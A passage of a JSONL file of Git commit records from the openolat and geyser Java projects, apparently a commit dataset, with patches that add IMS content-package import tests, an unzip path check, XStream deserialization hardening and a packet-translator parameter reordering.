\"id\";\n \tString CODE_FIELD = \"code\";\n \t/**", "sections": [{"section": "@@ -4,6 +4,12 @@\n import java.util.Map;\n \n public interface IConcept {\n+\tString SOLR_STRING = \"string\";\n+\tString SOLR_NUMBER = \"pdouble\";\n+\tString SOLR_INT = \"pint\";\n+\tString SOLR_BOOLEAN= \"boolean\";\n+\t\n+\t\n \tString ID_FIELD = \"id\";\n \tString CODE_FIELD = \"code\";\n \t/**", "related": false}]} +{"owner": "openolat", "repo": "openolat", "language": "Java", "file_name": "src/test/java/org/olat/modules/ims/cp/ImsCPHandlerTest.java", "commit_id": "699490be8e931af0ef1f135c55384db1f4232637", "commit_message": "OO-5549: fix the wiki import and add some unit tests", "patch": "@@ -0,0 +1,61 @@\n+package org.olat.modules.ims.cp;\n+\n+import java.io.File;\n+import java.net.URISyntaxException;\n+import java.net.URL;\n+import java.util.Locale;\n+\n+import org.junit.Assert;\n+import org.junit.Test;\n+import org.olat.core.id.Identity;\n+import org.olat.core.logging.OLATRuntimeException;\n+import org.olat.fileresource.FileResourceManager;\n+import org.olat.fileresource.types.ImsCPFileResource;\n+import org.olat.repository.RepositoryEntry;\n+import org.olat.repository.handlers.RepositoryHandler;\n+import org.olat.repository.handlers.RepositoryHandlerFactory;\n+import org.olat.test.JunitTestHelper;\n+import org.olat.test.OlatTestCase;\n+import org.springframework.beans.factory.annotation.Autowired;\n+\n+/**\n+ * \n+ * Initial date: 22 juin 2021
\n+ * @author srosse, stephane.rosse@frentix.com, http://www.frentix.com\n+ *\n+ */\n+public class ImsCPHandlerTest extends OlatTestCase {\n+\t\n+\t@Autowired\n+\tprivate RepositoryHandlerFactory handlerFactory;\n+\t\n+\t@Test\n+\tpublic void importImsCP() throws URISyntaxException {\n+\t\tIdentity author = JunitTestHelper.createAndPersistIdentityAsRndAuthor(\"ims-cp-1\");\n+\t\tURL imsCpUrl = ImsCPHandlerTest.class.getResource(\"imscp.zip\");\n+\t\tFile imsCpFile = new File(imsCpUrl.toURI());\n+\t\t\n+\t\tRepositoryHandler cpHandler = handlerFactory.getRepositoryHandler(ImsCPFileResource.TYPE_NAME);\t\n+\t\tRepositoryEntry entry = cpHandler.importResource(author, null, \"IMS CP\", null, false, null, Locale.ENGLISH, imsCpFile, imsCpFile.getName());\n+\t\tAssert.assertNotNull(entry);\n+\t\t\n+\t\tFile cpRoot = FileResourceManager.getInstance().unzipFileResource(entry.getOlatResource());\n+\t\tFile image = new File(cpRoot, \"IMG_1482.jpg\");\n+\t\tAssert.assertTrue(image.exists());\n+\t\tFile manifestXml = new File(cpRoot, \"imsmanifest.xml\");\n+\t\tAssert.assertTrue(manifestXml.exists());\n+\t\tFile page = new File(cpRoot, \"new.html\");\n+\t\tAssert.assertTrue(page.exists());\n+\t}\n+\t\n+\t@Test(expected=OLATRuntimeException.class)\n+\tpublic void importImsCPSlide() throws URISyntaxException {\n+\t\tIdentity author = JunitTestHelper.createAndPersistIdentityAsRndAuthor(\"ims-cp-1\");\n+\t\tURL imsCpUrl = ImsCPHandlerTest.class.getResource(\"imscp_alt.zip\");\n+\t\tFile imsCpFile = new File(imsCpUrl.toURI());\n+\t\t\n+\t\tRepositoryHandler cpHandler = handlerFactory.getRepositoryHandler(ImsCPFileResource.TYPE_NAME);\t\n+\t\tcpHandler.importResource(author, null, \"IMS CP\", null, false, null, Locale.ENGLISH, imsCpFile, imsCpFile.getName());\n+\t}\n+\n+}", "sections": [{"section": "@@ -0,0 +1,61 @@\n+package org.olat.modules.ims.cp;\n+\n+import java.io.File;\n+import java.net.URISyntaxException;\n+import java.net.URL;\n+import java.util.Locale;\n+\n+import org.junit.Assert;\n+import org.junit.Test;\n+import org.olat.core.id.Identity;\n+import org.olat.core.logging.OLATRuntimeException;\n+import org.olat.fileresource.FileResourceManager;\n+import org.olat.fileresource.types.ImsCPFileResource;\n+import org.olat.repository.RepositoryEntry;\n+import org.olat.repository.handlers.RepositoryHandler;\n+import org.olat.repository.handlers.RepositoryHandlerFactory;\n+import org.olat.test.JunitTestHelper;\n+import org.olat.test.OlatTestCase;\n+import org.springframework.beans.factory.annotation.Autowired;\n+\n+/**\n+ * \n+ * Initial date: 22 juin 2021
\n+ * @author srosse, stephane.rosse@frentix.com, http://www.frentix.com\n+ *\n+ */\n+public class ImsCPHandlerTest extends OlatTestCase {\n+\t\n+\t@Autowired\n+\tprivate RepositoryHandlerFactory handlerFactory;\n+\t\n+\t@Test\n+\tpublic void importImsCP() throws URISyntaxException {\n+\t\tIdentity author = JunitTestHelper.createAndPersistIdentityAsRndAuthor(\"ims-cp-1\");\n+\t\tURL imsCpUrl = ImsCPHandlerTest.class.getResource(\"imscp.zip\");\n+\t\tFile imsCpFile = new File(imsCpUrl.toURI());\n+\t\t\n+\t\tRepositoryHandler cpHandler = handlerFactory.getRepositoryHandler(ImsCPFileResource.TYPE_NAME);\t\n+\t\tRepositoryEntry entry = cpHandler.importResource(author, null, \"IMS CP\", null, false, null, Locale.ENGLISH, imsCpFile, imsCpFile.getName());\n+\t\tAssert.assertNotNull(entry);\n+\t\t\n+\t\tFile cpRoot = FileResourceManager.getInstance().unzipFileResource(entry.getOlatResource());\n+\t\tFile image = new File(cpRoot, \"IMG_1482.jpg\");\n+\t\tAssert.assertTrue(image.exists());\n+\t\tFile manifestXml = new File(cpRoot, \"imsmanifest.xml\");\n+\t\tAssert.assertTrue(manifestXml.exists());\n+\t\tFile page = new File(cpRoot, \"new.html\");\n+\t\tAssert.assertTrue(page.exists());\n+\t}\n+\t\n+\t@Test(expected=OLATRuntimeException.class)\n+\tpublic void importImsCPSlide() throws URISyntaxException {\n+\t\tIdentity author = JunitTestHelper.createAndPersistIdentityAsRndAuthor(\"ims-cp-1\");\n+\t\tURL imsCpUrl = ImsCPHandlerTest.class.getResource(\"imscp_alt.zip\");\n+\t\tFile imsCpFile = new File(imsCpUrl.toURI());\n+\t\t\n+\t\tRepositoryHandler cpHandler = handlerFactory.getRepositoryHandler(ImsCPFileResource.TYPE_NAME);\t\n+\t\tcpHandler.importResource(author, null, \"IMS CP\", null, false, null, Locale.ENGLISH, imsCpFile, imsCpFile.getName());\n+\t}\n+\n+}", "related": false}]} +{"owner": "openolat", "repo": "openolat", "language": "Java", "file_name": "src/main/java/org/olat/ims/cp/ui/VFSCPContainer.java", "commit_id": "5668a41ab3f1753102a89757be013487544279d5", "commit_message": "OO-5549: check parent by unzip", "patch": "@@ -96,6 +96,11 @@ public VFSItem resolve(String path) {\n \tpublic String getRelPath() {\n \t\treturn null;\n \t}\n+\t\n+\t@Override\n+\tpublic boolean isInPath(String path) {\n+\t\treturn false;\n+\t}\n \n \t@Override\n \tpublic List getItems() {", "sections": [{"section": "@@ -96,6 +96,11 @@ public VFSItem resolve(String path) {\n \tpublic String getRelPath() {\n \t\treturn null;\n \t}\n+\t\n+\t@Override\n+\tpublic boolean isInPath(String path) {\n+\t\treturn false;\n+\t}\n \n \t@Override\n \tpublic List getItems() {", "related": false}]} +{"owner": "geysermc", "repo": "geyser", "language": "Java", "file_name": "connector/src/main/java/org/geysermc/connector/network/translators/PacketTranslator.java", "commit_id": "b9541505af68ac7b7c093206ac7b1ba88957a5a6", "commit_message": "Bump version to try and fix deploying; other nitpicks", "patch": "@@ -29,6 +29,6 @@\n \n public abstract class PacketTranslator {\n \n- public abstract void translate(T packet, GeyserSession session);\n+ public abstract void translate(GeyserSession session, T packet);\n \n }", "sections": [{"section": "@@ -29,6 +29,6 @@\n \n public abstract class PacketTranslator {\n \n- public abstract void translate(T packet, GeyserSession session);\n+ public abstract void translate(GeyserSession session, T packet);\n \n }", "related": false}]} +{"owner": "geysermc", "repo": "geyser", "language": "Java", "file_name": "connector/src/main/java/org/geysermc/connector/network/translators/bedrock/BedrockEmoteListTranslator.java", "commit_id": "b9541505af68ac7b7c093206ac7b1ba88957a5a6", "commit_message": "Bump version to try and fix deploying; other nitpicks", "patch": "@@ -35,7 +35,7 @@\n public class BedrockEmoteListTranslator extends PacketTranslator {\n \n @Override\n- public void translate(EmoteListPacket packet, GeyserSession session) {\n+ public void translate(GeyserSession session, EmoteListPacket packet) {\n if (session.getConnector().getConfig().getEmoteOffhandWorkaround() == EmoteOffhandWorkaroundOption.NO_EMOTES) {\n return;\n }", "sections": [{"section": "@@ -35,7 +35,7 @@\n public class BedrockEmoteListTranslator extends PacketTranslator {\n \n @Override\n- public void translate(EmoteListPacket packet, GeyserSession session) {\n+ public void translate(GeyserSession session, EmoteListPacket packet) {\n if (session.getConnector().getConfig().getEmoteOffhandWorkaround() == EmoteOffhandWorkaroundOption.NO_EMOTES) {\n return;\n }", "related": false}]} +{"owner": "geysermc", "repo": "geyser", "language": "Java", "file_name": "connector/src/main/java/org/geysermc/connector/network/translators/bedrock/BedrockNetworkStackLatencyTranslator.java", "commit_id": "b9541505af68ac7b7c093206ac7b1ba88957a5a6", "commit_message": "Bump version to try and fix deploying; other nitpicks", "patch": "@@ -45,7 +45,7 @@\n public class BedrockNetworkStackLatencyTranslator extends PacketTranslator {\n \n @Override\n- public void translate(NetworkStackLatencyPacket packet, GeyserSession session) {\n+ public void translate(GeyserSession session, NetworkStackLatencyPacket packet) {\n long pingId;\n // so apparently, as of 1.16.200\n // PS4 divides the network stack latency timestamp FOR US!!!", "sections": [{"section": "@@ -45,7 +45,7 @@\n public class BedrockNetworkStackLatencyTranslator extends PacketTranslator {\n \n @Override\n- public void translate(NetworkStackLatencyPacket packet, GeyserSession session) {\n+ public void translate(GeyserSession session, NetworkStackLatencyPacket packet) {\n long pingId;\n // so apparently, as of 1.16.200\n // PS4 divides the network stack latency timestamp FOR US!!!", "related": false}]} +{"owner": "geysermc", "repo": "geyser", "language": "Java", "file_name": "connector/src/main/java/org/geysermc/connector/network/translators/bedrock/entity/player/BedrockActionTranslator.java", "commit_id": "b9541505af68ac7b7c093206ac7b1ba88957a5a6", "commit_message": "Bump version to try and fix deploying; other nitpicks", "patch": "@@ -54,7 +54,7 @@\n public class BedrockActionTranslator extends PacketTranslator {\n \n @Override\n- public void translate(PlayerActionPacket packet, GeyserSession session) {\n+ public void translate(GeyserSession session, PlayerActionPacket packet) {\n SessionPlayerEntity entity = session.getPlayerEntity();\n \n // Send book update before any player action", "sections": [{"section": "@@ -54,7 +54,7 @@\n public class BedrockActionTranslator extends PacketTranslator {\n \n @Override\n- public void translate(PlayerActionPacket packet, GeyserSession session) {\n+ public void translate(GeyserSession session, PlayerActionPacket packet) {\n SessionPlayerEntity entity = session.getPlayerEntity();\n \n // Send book update before any player action", "related": false}]} +{"owner": "geysermc", "repo": "geyser", "language": "Java", "file_name": "connector/src/main/java/org/geysermc/connector/network/translators/java/JavaChatTranslator.java", "commit_id": "b9541505af68ac7b7c093206ac7b1ba88957a5a6", "commit_message": "Bump version to try and fix deploying; other nitpicks", "patch": "@@ -36,7 +36,7 @@\n public class JavaChatTranslator extends PacketTranslator {\n \n @Override\n- public void translate(ServerChatPacket packet, GeyserSession session) {\n+ public void translate(GeyserSession session, ServerChatPacket packet) {\n TextPacket textPacket = new TextPacket();\n textPacket.setPlatformChatId(\"\");\n textPacket.setSourceName(\"\");", "sections": [{"section": "@@ -36,7 +36,7 @@\n public class JavaChatTranslator extends PacketTranslator {\n \n @Override\n- public void translate(ServerChatPacket packet, GeyserSession session) {\n+ public void translate(GeyserSession session, ServerChatPacket packet) {\n TextPacket textPacket = new TextPacket();\n textPacket.setPlatformChatId(\"\");\n textPacket.setSourceName(\"\");", "related": false}]} +{"owner": "geysermc", "repo": "geyser", "language": "Java", "file_name": "connector/src/main/java/org/geysermc/connector/network/translators/java/JavaLoginSuccessTranslator.java", "commit_id": "b9541505af68ac7b7c093206ac7b1ba88957a5a6", "commit_message": "Bump version to try and fix deploying; other nitpicks", "patch": "@@ -38,7 +38,7 @@\n public class JavaLoginSuccessTranslator extends PacketTranslator {\n \n @Override\n- public void translate(LoginSuccessPacket packet, GeyserSession session) {\n+ public void translate(GeyserSession session, LoginSuccessPacket packet) {\n PlayerEntity playerEntity = session.getPlayerEntity();\n AuthType remoteAuthType = session.getRemoteAuthType();\n ", "sections": [{"section": "@@ -38,7 +38,7 @@\n public class JavaLoginSuccessTranslator extends PacketTranslator {\n \n @Override\n- public void translate(LoginSuccessPacket packet, GeyserSession session) {\n+ public void translate(GeyserSession session, LoginSuccessPacket packet) {\n PlayerEntity playerEntity = session.getPlayerEntity();\n AuthType remoteAuthType = session.getRemoteAuthType();\n ", "related": false}]} +{"owner": "geysermc", "repo": "geyser", "language": "Java", "file_name": "connector/src/main/java/org/geysermc/connector/network/translators/java/entity/JavaEntityEquipmentTranslator.java", "commit_id": "b9541505af68ac7b7c093206ac7b1ba88957a5a6", "commit_message": "Bump version to try and fix deploying; other nitpicks", "patch": "@@ -39,7 +39,7 @@\n public class JavaEntityEquipmentTranslator extends PacketTranslator {\n \n @Override\n- public void translate(ServerEntityEquipmentPacket packet, GeyserSession session) {\n+ public void translate(GeyserSession session, ServerEntityEquipmentPacket packet) {\n Entity entity;\n if (packet.getEntityId() == session.getPlayerEntity().getEntityId()) {\n entity = session.getPlayerEntity();", "sections": [{"section": "@@ -39,7 +39,7 @@\n public class JavaEntityEquipmentTranslator extends PacketTranslator {\n \n @Override\n- public void translate(ServerEntityEquipmentPacket packet, GeyserSession session) {\n+ public void translate(GeyserSession session, ServerEntityEquipmentPacket packet) {\n Entity entity;\n if (packet.getEntityId() == session.getPlayerEntity().getEntityId()) {\n entity = session.getPlayerEntity();", "related": false}]} +{"owner": "geysermc", "repo": "geyser", "language": "Java", "file_name": "connector/src/main/java/org/geysermc/connector/network/translators/java/entity/JavaEntityTeleportTranslator.java", "commit_id": "b9541505af68ac7b7c093206ac7b1ba88957a5a6", "commit_message": "Bump version to try and fix deploying; other nitpicks", "patch": "@@ -37,7 +37,7 @@\n public class JavaEntityTeleportTranslator extends PacketTranslator {\n \n @Override\n- public void translate(ServerEntityTeleportPacket packet, GeyserSession session) {\n+ public void translate(GeyserSession session, ServerEntityTeleportPacket packet) {\n Entity entity = session.getEntityCache().getEntityByJavaId(packet.getEntityId());\n if (packet.getEntityId() == session.getPlayerEntity().getEntityId()) {\n entity = session.getPlayerEntity();", "sections": [{"section": "@@ -37,7 +37,7 @@\n public class JavaEntityTeleportTranslator extends PacketTranslator {\n \n @Override\n- public void translate(ServerEntityTeleportPacket packet, GeyserSession session) {\n+ public void translate(GeyserSession session, ServerEntityTeleportPacket packet) {\n Entity entity = session.getEntityCache().getEntityByJavaId(packet.getEntityId());\n if (packet.getEntityId() == session.getPlayerEntity().getEntityId()) {\n entity = session.getPlayerEntity();", "related": false}]} +{"owner": "geysermc", "repo": "geyser", "language": "Java", "file_name": "connector/src/main/java/org/geysermc/connector/network/translators/java/entity/spawn/JavaSpawnEntityTranslator.java", "commit_id": "b9541505af68ac7b7c093206ac7b1ba88957a5a6", "commit_message": "Bump version to try and fix deploying; other nitpicks", "patch": "@@ -46,7 +46,7 @@\n public class JavaSpawnEntityTranslator extends PacketTranslator {\n \n @Override\n- public void translate(ServerSpawnEntityPacket packet, GeyserSession session) {\n+ public void translate(GeyserSession session, ServerSpawnEntityPacket packet) {\n \n Vector3f position = Vector3f.from(packet.getX(), packet.getY(), packet.getZ());\n Vector3f motion = Vector3f.from(packet.getMotionX(), packet.getMotionY(), packet.getMotionZ());", "sections": [{"section": "@@ -46,7 +46,7 @@\n public class JavaSpawnEntityTranslator extends PacketTranslator {\n \n @Override\n- public void translate(ServerSpawnEntityPacket packet, GeyserSession session) {\n+ public void translate(GeyserSession session, ServerSpawnEntityPacket packet) {\n \n Vector3f position = Vector3f.from(packet.getX(), packet.getY(), packet.getZ());\n Vector3f motion = Vector3f.from(packet.getMotionX(), packet.getMotionY(), packet.getMotionZ());", "related": false}]} +{"owner": "geysermc", "repo": "geyser", "language": "Java", "file_name": "connector/src/main/java/org/geysermc/connector/network/translators/java/title/JavaSetActionBarTextTranslator.java", "commit_id": "b9541505af68ac7b7c093206ac7b1ba88957a5a6", "commit_message": "Bump version to try and fix deploying; other nitpicks", "patch": "@@ -36,7 +36,7 @@\n public class JavaSetActionBarTextTranslator extends PacketTranslator {\n \n @Override\n- public void translate(ServerSetActionBarTextPacket packet, GeyserSession session) {\n+ public void translate(GeyserSession session, ServerSetActionBarTextPacket packet) {\n String text;\n if (packet.getText() == null) { //TODO 1.17 can this happen?\n text = \" \";", "sections": [{"section": "@@ -36,7 +36,7 @@\n public class JavaSetActionBarTextTranslator extends PacketTranslator {\n \n @Override\n- public void translate(ServerSetActionBarTextPacket packet, GeyserSession session) {\n+ public void translate(GeyserSession session, ServerSetActionBarTextPacket packet) {\n String text;\n if (packet.getText() == null) { //TODO 1.17 can this happen?\n text = \" \";", "related": false}]} +{"owner": "geysermc", "repo": "geyser", "language": "Java", "file_name": "connector/src/main/java/org/geysermc/connector/network/translators/java/world/JavaBlockBreakAnimTranslator.java", "commit_id": "b9541505af68ac7b7c093206ac7b1ba88957a5a6", "commit_message": "Bump version to try and fix deploying; other nitpicks", "patch": "@@ -41,7 +41,7 @@\n public class JavaBlockBreakAnimTranslator extends PacketTranslator {\n \n @Override\n- public void translate(ServerBlockBreakAnimPacket packet, GeyserSession session) {\n+ public void translate(GeyserSession session, ServerBlockBreakAnimPacket packet) {\n int state = session.getConnector().getWorldManager().getBlockAt(session, packet.getPosition().getX(), packet.getPosition().getY(), packet.getPosition().getZ());\n int breakTime = (int) (65535 / Math.ceil(BlockUtils.getBreakTime(session, BlockRegistries.JAVA_BLOCKS.get(state), ItemMapping.AIR, new CompoundTag(\"\"), false) * 20));\n LevelEventPacket levelEventPacket = new LevelEventPacket();", "sections": [{"section": "@@ -41,7 +41,7 @@\n public class JavaBlockBreakAnimTranslator extends PacketTranslator {\n \n @Override\n- public void translate(ServerBlockBreakAnimPacket packet, GeyserSession session) {\n+ public void translate(GeyserSession session, ServerBlockBreakAnimPacket packet) {\n int state = session.getConnector().getWorldManager().getBlockAt(session, packet.getPosition().getX(), packet.getPosition().getY(), packet.getPosition().getZ());\n int breakTime = (int) (65535 / Math.ceil(BlockUtils.getBreakTime(session, BlockRegistries.JAVA_BLOCKS.get(state), ItemMapping.AIR, new CompoundTag(\"\"), false) * 20));\n LevelEventPacket levelEventPacket = new LevelEventPacket();", "related": false}]} +{"owner": "geysermc", "repo": "geyser", "language": "Java", "file_name": "connector/src/main/java/org/geysermc/connector/network/translators/java/world/JavaPlaySoundTranslator.java", "commit_id": "b9541505af68ac7b7c093206ac7b1ba88957a5a6", "commit_message": "Bump version to try and fix deploying; other nitpicks", "patch": "@@ -40,7 +40,7 @@\n public class JavaPlaySoundTranslator extends PacketTranslator {\n \n @Override\n- public void translate(ServerPlaySoundPacket packet, GeyserSession session) {\n+ public void translate(GeyserSession session, ServerPlaySoundPacket packet) {\n String packetSound;\n if (packet.getSound() instanceof BuiltinSound) {\n packetSound = ((BuiltinSound) packet.getSound()).getName();", "sections": [{"section": "@@ -40,7 +40,7 @@\n public class JavaPlaySoundTranslator extends PacketTranslator {\n \n @Override\n- public void translate(ServerPlaySoundPacket packet, GeyserSession session) {\n+ public void translate(GeyserSession session, ServerPlaySoundPacket packet) {\n String packetSound;\n if (packet.getSound() instanceof BuiltinSound) {\n packetSound = ((BuiltinSound) packet.getSound()).getName();", "related": false}]} +{"owner": "geysermc", "repo": "geyser", "language": "Java", "file_name": "connector/src/main/java/org/geysermc/connector/network/translators/java/world/JavaVehicleMoveTranslator.java", "commit_id": "b9541505af68ac7b7c093206ac7b1ba88957a5a6", "commit_message": "Bump version to try and fix deploying; other nitpicks", "patch": "@@ -36,7 +36,7 @@\n public class JavaVehicleMoveTranslator extends PacketTranslator {\n \n @Override\n- public void translate(ServerVehicleMovePacket packet, GeyserSession session) {\n+ public void translate(GeyserSession session, ServerVehicleMovePacket packet) {\n Entity entity = session.getRidingVehicleEntity();\n if (entity == null) return;\n ", "sections": [{"section": "@@ -36,7 +36,7 @@\n public class JavaVehicleMoveTranslator extends PacketTranslator {\n \n @Override\n- public void translate(ServerVehicleMovePacket packet, GeyserSession session) {\n+ public void translate(GeyserSession session, ServerVehicleMovePacket packet) {\n Entity entity = session.getRidingVehicleEntity();\n if (entity == null) return;\n ", "related": false}]} +{"owner": "openolat", "repo": "openolat", "language": "Java", "file_name": "src/main/java/org/olat/admin/landingpages/LandingPagesModule.java", "commit_id": "3f219ac457afde82e3be57bc614352ab92c05684", "commit_message": "OO-5548: setup security of XStream by default", "patch": "@@ -44,6 +44,7 @@ public class LandingPagesModule extends AbstractSpringModule {\n \tprivate static final XStream rulesXStream;\n \tstatic {\n \t\trulesXStream = XStreamHelper.createXStreamInstance();\n+\t\tXStreamHelper.allowDefaultPackage(rulesXStream);\n \t\trulesXStream.alias(\"rules\", Rules.class);\n \t\trulesXStream.alias(\"rule\", Rule.class);\n \t}", "sections": [{"section": "@@ -44,6 +44,7 @@ public class LandingPagesModule extends AbstractSpringModule {\n \tprivate static final XStream rulesXStream;\n \tstatic {\n \t\trulesXStream = XStreamHelper.createXStreamInstance();\n+\t\tXStreamHelper.allowDefaultPackage(rulesXStream);\n \t\trulesXStream.alias(\"rules\", Rules.class);\n \t\trulesXStream.alias(\"rule\", Rule.class);\n \t}", "related": false}]} +{"owner": "openolat", "repo": "openolat", "language": "Java", "file_name": "src/main/java/org/olat/core/util/xml/EnhancedXStream.java", "commit_id": "3f219ac457afde82e3be57bc614352ab92c05684", "commit_message": "OO-5548: setup security of XStream by default", "patch": "@@ -43,9 +43,9 @@\n * \n * @author srosse, stephane.rosse@frentix.com, http://www.frentix.com\n */\n-public class EnhancedXStream extends XStream {\n+class EnhancedXStream extends XStream {\n \n-\tpublic EnhancedXStream(boolean export) {\n+\tEnhancedXStream(boolean export) {\n \t\tsuper();\n \n \t\tif (export) {", "sections": [{"section": "@@ -43,9 +43,9 @@\n * \n * @author srosse, stephane.rosse@frentix.com, http://www.frentix.com\n */\n-public class EnhancedXStream extends XStream {\n+class EnhancedXStream extends XStream {\n \n-\tpublic EnhancedXStream(boolean export) {\n+\tEnhancedXStream(boolean export) {\n \t\tsuper();\n \n \t\tif (export) {", "related": false}]} +{"owner": "openolat", "repo": "openolat", "language": "Java", "file_name": "src/main/java/org/olat/group/manager/GroupXStream.java", "commit_id": "3f219ac457afde82e3be57bc614352ab92c05684", "commit_message": "OO-5548: setup security of XStream by default", "patch": "@@ -46,8 +46,6 @@ public class GroupXStream {\n \t\n \tpublic GroupXStream() {\n \t\txstream = XStreamHelper.createXStreamInstance();\n-\t\t\n-\t\tXStream.setupDefaultSecurity(xstream);\n \t\tClass[] types = new Class[] {\n \t\t\t\tCollabTools.class, Group.class, Area.class, AreaCollection.class, GroupCollection.class,\n \t\t\t\tOLATGroupExport.class, ArrayList.class", "sections": [{"section": "@@ -46,8 +46,6 @@ public class GroupXStream {\n \t\n \tpublic GroupXStream() {\n \t\txstream = XStreamHelper.createXStreamInstance();\n-\t\t\n-\t\tXStream.setupDefaultSecurity(xstream);\n \t\tClass[] types = new Class[] {\n \t\t\t\tCollabTools.class, Group.class, Area.class, AreaCollection.class, GroupCollection.class,\n \t\t\t\tOLATGroupExport.class, ArrayList.class", "related": false}]} +{"owner": "openolat", "repo": "openolat", "language": "Java", "file_name": "src/main/java/org/olat/modules/portfolio/handler/BinderXStream.java", "commit_id": "3f219ac457afde82e3be57bc614352ab92c05684", "commit_message": "OO-5548: setup security of XStream by default", "patch": "@@ -44,6 +44,9 @@ public class BinderXStream {\n \t\n \tprivate static final Logger log = Tracing.createLoggerFor(BinderXStream.class);\n \tprivate static final XStream myStream = XStreamHelper.createXStreamInstanceForDBObjects();\n+\tstatic {\n+\t\tXStreamHelper.allowDefaultPackage(myStream);\n+\t}\n \t\n \tpublic static final Binder copy(Binder binder) {\n \t\tString stringuified = myStream.toXML(binder);\n@@ -55,7 +58,7 @@ public static final Binder fromPath(Path path)\n \t\ttry(InputStream inStream = Files.newInputStream(path)) {\n \t\t\treturn (Binder)myStream.fromXML(inStream);\n \t\t} catch (Exception e) {\n-\t\t\tlog.error(\"Cannot import this map: \" + path, e);\n+\t\t\tlog.error(\"Cannot import this map: {}\", path, e);\n \t\t\treturn null;\n \t\t}\n \t}\n@@ -65,7 +68,7 @@ public static final void toStream(Binder binder, ZipOutputStream zout)\n \t\ttry(OutputStream out=new ShieldOutputStream(zout)) {\n \t\t\tmyStream.toXML(binder, out);\n \t\t} catch (Exception e) {\n-\t\t\tlog.error(\"Cannot export this map: \" + binder, e);\n+\t\t\tlog.error(\"Cannot export this map: {}\", binder, e);\n \t\t}\n \t}\n }", "sections": [{"section": "@@ -44,6 +44,9 @@ public class BinderXStream {\n \t\n \tprivate static final Logger log = Tracing.createLoggerFor(BinderXStream.class);\n \tprivate static final XStream myStream = XStreamHelper.createXStreamInstanceForDBObjects();\n+\tstatic {\n+\t\tXStreamHelper.allowDefaultPackage(myStream);\n+\t}\n \t\n \tpublic static final Binder copy(Binder binder) {\n \t\tString stringuified = myStream.toXML(binder);\n", "related": false}, {"section": "@@ -55,7 +58,7 @@ public static final Binder fromPath(Path path)\n \t\ttry(InputStream inStream = Files.newInputStream(path)) {\n \t\t\treturn (Binder)myStream.fromXML(inStream);\n \t\t} catch (Exception e) {\n-\t\t\tlog.error(\"Cannot import this map: \" + path, e);\n+\t\t\tlog.error(\"Cannot import this map: {}\", path, e);\n \t\t\treturn null;\n \t\t}\n \t}\n", "related": false}, {"section": "@@ -65,7 +68,7 @@ public static final void toStream(Binder binder, ZipOutputStream zout)\n \t\ttry(OutputStream out=new ShieldOutputStream(zout)) {\n \t\t\tmyStream.toXML(binder, out);\n \t\t} catch (Exception e) {\n-\t\t\tlog.error(\"Cannot export this map: \" + binder, e);\n+\t\t\tlog.error(\"Cannot export this map: {}\", binder, e);\n \t\t}\n \t}\n }", "related": false}]} +{"owner": "openolat", "repo": "openolat", "language": "Java", "file_name": "src/main/java/org/olat/modules/video/manager/VideoManagerImpl.java", "commit_id": "3f219ac457afde82e3be57bc614352ab92c05684", "commit_message": "OO-5548: setup security of XStream by default", "patch": "@@ -78,14 +78,12 @@\n import org.olat.core.util.vfs.VFSManager;\n import org.olat.core.util.vfs.VFSStatus;\n import org.olat.core.util.vfs.filters.VFSItemFilter;\n-import org.olat.core.util.xml.XStreamHelper;\n import org.olat.fileresource.FileResourceManager;\n import org.olat.fileresource.types.ResourceEvaluation;\n import org.olat.modules.video.VideoFormat;\n import org.olat.modules.video.VideoManager;\n import org.olat.modules.video.VideoMarkers;\n import org.olat.modules.video.VideoMeta;\n-import org.olat.modules.video.VideoMetadata;\n import org.olat.modules.video.VideoMetadataSearchParams;\n import org.olat.modules.video.VideoModule;\n import org.olat.modules.video.VideoQuestion;\n@@ -94,7 +92,6 @@\n import org.olat.modules.video.model.TranscodingCount;\n import org.olat.modules.video.model.VideoMarkersImpl;\n import org.olat.modules.video.model.VideoMetaImpl;\n-import org.olat.modules.video.model.VideoMetadataImpl;\n import org.olat.modules.video.model.VideoQuestionsImpl;\n import org.olat.modules.video.spi.youtube.YoutubeProvider;\n import org.olat.modules.video.spi.youtube.model.YoutubeMetadata;\n@@ -396,34 +393,6 @@ private VFSLeaf resolveFromMasterContainer(OLATResource videoResource, String pa\n \t\t}\n \t}\n \n-\t@Override\n-\tpublic boolean isMetadataFileValid(OLATResource videoResource) {\n-\t\tVFSContainer baseContainer = FileResourceManager.getInstance().getFileResourceRootImpl(videoResource);\n-\t\tVFSLeaf metaDataFile = (VFSLeaf) baseContainer.resolve(FILENAME_VIDEO_METADATA_XML);\n-\t\ttry {\n-\t\t\tVideoMetadata meta = (VideoMetadata) XStreamHelper.readObject(XStreamHelper.createXStreamInstance(), metaDataFile);\n-\t\t\treturn meta != null;\n-\t\t} catch (Exception e) {\n-\t\t\treturn false;\n-\t\t}\n-\t}\n-\n-\t@Override\n-\tpublic VideoMetadata readVideoMetadataFile(OLATResource videoResource){\n-\t\tVFSContainer baseContainer= FileResourceManager.getInstance().getFileResourceRootImpl(videoResource);\n-\t\tVFSLeaf metaDataFile = (VFSLeaf) baseContainer.resolve(FILENAME_VIDEO_METADATA_XML);\n-\t\ttry {\n-\t\t\treturn (VideoMetadata) XStreamHelper.readObject(XStreamHelper.createXStreamInstance(), metaDataFile);\n-\t\t} catch (Exception e) {\n-\t\t\tlog.error(\"Error while parsing XStream file for videoResource::{}\", videoResource, e);\n-\t\t\t// return an empty, so at least it displays something and not an error\n-\t\t\tVideoMetadata meta = new VideoMetadataImpl();\n-\t\t\tmeta.setWidth(800);\n-\t\t\tmeta.setHeight(600);\n-\t\t\treturn meta;\n-\t\t}\n-\t}\n-\n \t@Override\n \tpublic String toPodcastVideoUrl(String url) {\n \t\ttry {", "sections": [{"section": "@@ -78,14 +78,12 @@\n import org.olat.core.util.vfs.VFSManager;\n import org.olat.core.util.vfs.VFSStatus;\n import org.olat.core.util.vfs.filters.VFSItemFilter;\n-import org.olat.core.util.xml.XStreamHelper;\n import org.olat.fileresource.FileResourceManager;\n import org.olat.fileresource.types.ResourceEvaluation;\n import org.olat.modules.video.VideoFormat;\n import org.olat.modules.video.VideoManager;\n import org.olat.modules.video.VideoMarkers;\n import org.olat.modules.video.VideoMeta;\n-import org.olat.modules.video.VideoMetadata;\n import org.olat.modules.video.VideoMetadataSearchParams;\n import org.olat.modules.video.VideoModule;\n import org.olat.modules.video.VideoQuestion;\n", "related": false}, {"section": "@@ -94,7 +92,6 @@\n import org.olat.modules.video.model.TranscodingCount;\n import org.olat.modules.video.model.VideoMarkersImpl;\n import org.olat.modules.video.model.VideoMetaImpl;\n-import org.olat.modules.video.model.VideoMetadataImpl;\n import org.olat.modules.video.model.VideoQuestionsImpl;\n import 